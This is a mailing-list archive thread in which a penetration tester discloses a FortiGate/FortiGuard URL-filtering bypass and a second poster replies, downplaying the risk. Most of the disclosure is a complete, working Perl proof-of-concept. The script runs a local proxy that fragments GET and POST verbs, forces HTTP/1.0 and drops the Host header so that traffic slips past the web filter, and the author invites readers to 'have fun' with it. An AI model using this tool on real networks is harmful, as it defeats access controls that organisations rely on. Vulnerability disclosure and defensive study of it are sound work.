Mailing List Archive

FortiGuard: URL Filtering Application Bypass Vulnerability
I dont know if its new but i code it during a PentTest and i would
like to share it with you.
It is based on code developed By sinhack research labs:
http://sinhack.net/URLFilteringEvasion/sakeru.tx

Description:
"Fortinet's URL blocking functionality can be bypassed by
specially-crafted HTTP requests that fulfill 3 factors:

1.- HTTP Requests are terminated by the CRLF characters.
2.- Forcing to talk via HTTP/1.0 version so that dont send the host header.
3.- Finally, by Fragmenting the GET or POST requests

Analysis:

Fortinet's past vulnerability
(http://www.fortiguardcenter.com/advisory/FGA-2006-10.html) said:

Moreover, while it is possible "to bypass the functionality via an
HTTP/1.0 request with no host header", the use of a host field is
actually required to access a specific site on multi-homed web sites.
When no host header is used, the intended web site is actually not
displayed. Therefore, there is no risk.

Macula's Analysis: If you dont have properly installed some AV, HIPS,
etc, through this vuln, a workstation can connect to a malicious
"Hacking Site" and get infected. Also through this vuln, you can
connect to different porn sites without problems. And no matter if its
or not multi-homed web sites. So we consider its not a low risk.


Products affected:
We only tested it on:
fortiGate-1000 3.00, build 040075,070111

Solution:
We tried to contact the vendor, but without any response.

PoC:

#!/usr/bin/perl

########################################
# fortiGuard.pl v0.1 - http://www.macula-group.com/
#
# # URL Filtering Bypass proof of concept
# Author: Daniel Regalado aka Danux... Hacker WannaBe!!! (only some
minnor modifications from sinhack code)
# Based on PoC from sinhack research labs -> sakeru.pl
#
#FortiGuard's URL blocking functionality can be bypassed by
specially-crafted HTTP requests that are terminated by the CRLF
character
#instead of the LF characters and changing version of HTTP to 1.0
without sending Host: Header and Fragmenting the GET and POST Requests
#
#Tested On: fortiGate-1000 3.00, build 040075,070111
#
#This code has been released Only for educational purposes. The author
cannot be held responsible for any bad use.
# Usage:
# 1) perl fortiGuard.pl
# 2) Configure your browser's proxy at localhost:5050
# 3) Have fun.

# --- Start Of Script---

use strict;
use URI;
use IO::Socket;

my $showOpenedSockets=1; #Activate the console logging
my $debugging=0;


my $server = IO::Socket::INET->new ( #Proxy Configuration
LocalPort => 5050, #Change the listening port here
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10);

binmode $server;
print "Waiting for connections on port 5050 TCP...\n";

while (my $browser = $server->accept()) { #When a connection occure...
binmode $browser;
my $method="";
my $content_length = 0;
my $content = 0;
my $accu_content_length = 0;
my $host;
my $hostAddr;
my $httpVer;
my $line;

while (my $browser_line = <$browser>) { #Get the Browser commands
unless ($method) {
($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+)
+(\S+) +(\S+)/;

my $uri = URI->new($hostAddr);

$host = IO::Socket::INET->new ( #Opening the connexion to the
remote host
PeerAddr=> $uri->host,
PeerPort=> $uri->port ) or die "couldn't open $hostAddr";


if ($showOpenedSockets) { #Connection logs
#print "Source:".$browser->peerhost."\n";
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
localtime(time);
$year += 1900;
$mon += 1;
printf ("\n%04d-%02d-%02d %02d:%02d:%02d
",$year,$mon,$mday,$hour,$min,$sec);
print $browser->peerhost." -> ".$uri->host.":".$uri->port."
$method ".$uri->path_query."\n";;
}

binmode $host;
my $char;
if ($method == "GET") { #Fragmention the "GET" query
foreach $char ('G','E','T',' ') { #I know, there is better
way to do it,
print $host $char; #but I'm tired and lazy...
}
} elsif ($method == "POST") { #Fragmentation of "POST" query
foreach $char ('P','O','S','T',' ') {
print $host $char;
}
} else {
print $host "$method "; #For all the other methods, send
them without modif
print "*";
}
$httpVer="HTTP/1.0"; #Forzando a version 1.0
print $host $uri->path_query . " $httpVer\r\n"; #Send the rest
of the query (url and http version)
#next;
}

$content_length = $1 if $browser_line=~/Content-length: +(\d+)/i;
$accu_content_length+=length $browser_line;

foreach $line (split('\n', $browser_line)) { #Fragment the Host query
if ($line =~ /^Host:/ ) {
#my $char="";
#my $word="";
#my $bogus="";
#($bogus,$word) = split(' ', $line);
#foreach $char ('H','o','s','t',':',' ') {
#print $host $char;
#}
#print $host $word."\r\n";

} else {
print $host "$line\r\n"; #For all the other lines, send
them without modif
}

if ( $debugging == 1 && $method == "POST" ) {
print "$line\n";
}
}
#Danux Clave para terminar el Request y enviarlo al servidor
web, de otra forma se queda esperando este ultimo la peticion
print $host "\r\n";


last if $browser_line =~ /^\s*$/ and $method ne 'POST';
if ($browser_line =~ /^\s*$/ and $method eq "POST") {
$content = 1;
last unless $content_length;
next;
}
#print length $browser_line . " - ";
if ($content) {
$accu_content_length+=length $browser_line;
last if $accu_content_length >= $content_length;
}
}

$content_length = 0;
$content = 0;
$accu_content_length = 0;

my $crcount=0;
my $totalcounter=0;
my $packetcount=0;

while ( my $host_line = <$host> ) { #Reception of the result from the server

$totalcounter+=length $host_line;
print $browser $host_line; #Send them back to the browser
#print $host_line if ( ! $content ); #Send them back to the browser
if ($host_line=~/Content-length: +(\d+)/i) {
$content_length = $1;
#print " * Expecting $content_length\n"; #if ($debugging);
}
if ($host_line =~ m/^\s*$/ and not $content) {
$content = 1;
#print " * Beginning of the data section\n";
}
if ($content) {
#$accu_content_length+=length $host_line;
if ($content_length) {
#print " * binary data section\n";
my $buffer;
my $buffersize = 512;
if ($content_length < $buffersize) { $buffersize = $content_length; }
while ( my $nbread = read($host, $buffer, $buffersize)) {
print "#";
$packetcount++;
$accu_content_length+=$nbread;
#last if $accu_content_length >= $content_length;
print $browser $buffer; #Send them back to the browser
#print $buffer;
#print "\n(#$packetcount) ";
#print "total: $totalcounter content_length:
$content_length acc: $accu_content_length\t";
my $tmp1 = $content_length - $accu_content_length;
#print "length-accu= $tmp1\n";

if ($tmp1 < $buffersize) {
$buffersize = $tmp1;
#print "new buffersize = $buffersize\n";
}
}
#print "Out of the content while\n";
}
}

#print "(#$packetcount) ";
#print "total: $totalcounter content_length: $content_length
acc: $accu_content_length\t";
#my $tmp1 = $content_length - $accu_content_length;
#print "length-accu= $tmp1\n";
last if ($accu_content_length >= $content_length and $content ==
1 and $content_length);
}
#print "\nOut for a while\n";


if ($browser) { $browser -> close; } #Closing connection to the browser
if ($host) { $host -> close; } #Closion connection to the server

}

# --- EOF ---


--
Danux, CISSP, OSCP
Offensive Security Consultant
Macula Security Consulting Group
www.macula-group.com
Re: FortiGuard: URL Filtering Application Bypass Vulnerability [ In reply to ]
Dear Danux,

--Friday, January 4, 2008, 2:27:58 AM, you wrote to vulnwatch@vulnwatch.org:


D> 1.- HTTP Requests are terminated by the CRLF characters.
D> 2.- Forcing to talk via HTTP/1.0 version so that dont send the host header.
D> 3.- Finally, by Fragmenting the GET or POST requests


D> Macula's Analysis: If you dont have properly installed some AV, HIPS,
D> etc, through this vuln, a workstation can connect to a malicious
D> "Hacking Site" and get infected.

It must be already infected to issue request like this, because all
standard software always add Host: header and do not fragment request.

D> Also through this vuln, you can
D> connect to different porn sites without problems. And no matter if its
D> or not multi-homed web sites. So we consider its not a low risk.

O yeah.... It's great security risk. My morality may be affected.

--
~/ZARAZA http://securityvulns.com/